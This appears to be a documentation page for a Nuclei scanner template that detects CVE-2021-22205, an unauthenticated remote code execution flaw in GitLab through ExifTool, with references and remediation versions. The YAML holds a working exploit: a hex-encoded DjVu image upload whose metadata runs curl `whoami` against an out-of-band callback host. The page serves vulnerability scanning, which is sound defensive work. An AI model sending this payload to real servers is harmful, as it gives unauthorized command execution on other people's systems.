Skip to content
Nuclei Templates

GitLab CE/EE Unauthenticated RCE Using ExifTool

ID: gitlab-rce

Severity: critical

Author: pdteam

Tags: oast,intrusive,hackerone,cve,cve2021,gitlab,rce,kev

Description

Section titled “Description”

GitLab CE/EE contains a vulnreability which allows a specially crafted image passed to a file parser to perform a command execution attack. Versions impacted are between 11.9-13.8.7, 13.9-13.9.5, and 13.10-13.10.2.

YAML Source

Section titled “YAML Source”
id: gitlab-rce


info:
  name: GitLab CE/EE Unauthenticated RCE Using ExifTool
  author: pdteam
  severity: critical
  description: GitLab CE/EE contains a vulnreability which allows a specially crafted image passed to a file parser to perform a command execution attack. Versions impacted are between 11.9-13.8.7, 13.9-13.9.5, and 13.10-13.10.2.
  remediation: Upgrade to versions 13.10.3, 13.9.6, 13.8.8, or higher.
  reference:
    - https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
    - https://hackerone.com/reports/1154542
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22205
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-22205
    cwe-id: CWE-20
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.title:"GitLab"
    product: gitlab
    vendor: gitlab
  tags: oast,intrusive,hackerone,cve,cve2021,gitlab,rce,kev


http:
  - raw:
      - |
        GET /users/sign_in HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
      - |
        POST /uploads/user HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
        X-CSRF-Token: {{csrf-token}}


        {{hex_decode('0D0A2D2D2D2D2D2D5765624B6974466F726D426F756E64617279494D76336D7852673539546B465358350D0A436F6E74656E742D446973706F736974696F6E3A20666F726D2D646174613B206E616D653D2266696C65223B2066696C656E616D653D22746573742E6A7067220D0A436F6E74656E742D547970653A20696D6167652F6A7065670D0A0D0A41542654464F524D000003AF444A564D4449524D0000002E81000200000046000000ACFFFFDEBF992021C8914EEB0C071FD2DA88E86BE6440F2C7102EE49D36E95BDA2C3223F464F524D0000005E444A5655494E464F0000000A00080008180064001600494E434C0000000F7368617265645F616E6E6F2E696666004247343400000011004A0102000800088AE6E1B137D97F2A89004247343400000004010FF99F4247343400000002020A464F524D00000307444A5649414E546100000150286D657461646174610A0928436F7079726967687420225C0A22202E2071787B')}}curl `whoami`.{{interactsh-url}}{{hex_decode('7D202E205C0A2220622022292029202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200A0D0A2D2D2D2D2D2D5765624B6974466F726D426F756E64617279494D76336D7852673539546B465358352D2D0D0A')}}


    max-redirects: 3


    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Failed to process image'


      - type: status
        status:
          - 422


    extractors:
      - type: regex
        name: csrf-token
        internal: true
        group: 1
        regex:
          - 'csrf-token" content="(.*?)" />'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z]+)'
# digest: 4a0a0047304502204558784ade0a5d11b2f64a3b562a09baf59011b58a8cf266e386f4f588d8486b022100edeb6c13ab39af8f6933f5d6851e6be18b31a426c939e2fdb419b4df4e2fdfa5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/gitlab/gitlab-rce.yaml"

View on Github